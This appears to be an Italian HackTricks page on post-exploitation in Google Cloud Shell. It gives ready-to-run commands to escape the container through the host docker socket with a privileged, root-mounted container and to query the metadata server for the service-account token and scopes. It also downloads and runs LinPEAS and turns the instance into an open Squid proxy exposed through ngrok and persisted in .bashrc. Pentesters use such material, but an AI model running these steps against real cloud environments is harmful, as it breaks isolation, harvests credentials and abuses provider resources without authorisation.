GCP - Cloud Shell Post Exploitation

Supporta HackTricks

Cloud Shell

Per ulteriori informazioni su Cloud Shell, controlla:

GCP - Cloud Shell Enum

Fuga dal Container

Nota che il Google Cloud Shell viene eseguito all'interno di un container, puoi uscire facilmente verso l'host facendo:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Questo non è considerato una vulnerabilità da google, ma ti dà una visione più ampia di ciò che sta accadendo in quell'ambiente.

Inoltre, nota che dall'host puoi trovare un token dell'account di servizio:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Con i seguenti ambiti:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerare i metadati con LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Dopo aver utilizzato https://github.com/carlospolop/bf_my_gcp_permissions con il token del Service Account non è stata scoperta alcuna autorizzazione...

Usalo come Proxy

Se desideri utilizzare la tua istanza della shell di Google Cloud come proxy, devi eseguire i seguenti comandi (o inserirli nel file .bashrc):

sudo apt install -y squid

Solo per informarti, Squid è un server proxy http. Crea un file squid.conf con le seguenti impostazioni:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copia il file squid.conf in /etc/squid

sudo cp squid.conf /etc/squid

Infine avvia il servizio squid:

sudo service squid start

Usa ngrok per rendere il proxy disponibile dall'esterno:

./ngrok tcp 3128

Dopo aver eseguito copia l'URL tcp://. Se si desidera eseguire il proxy da un browser, è consigliabile rimuovere la parte tcp:// e la porta e inserire la porta nel campo porta delle impostazioni del proxy del browser (squid è un server proxy http).

Per un uso migliore all'avvio, il file .bashrc dovrebbe avere le seguenti righe:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Le istruzioni sono state copiate da https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Controlla quella pagina per altre idee folli per eseguire qualsiasi tipo di software (database e persino Windows) in Cloud Shell.

Sostieni HackTricks

Last updated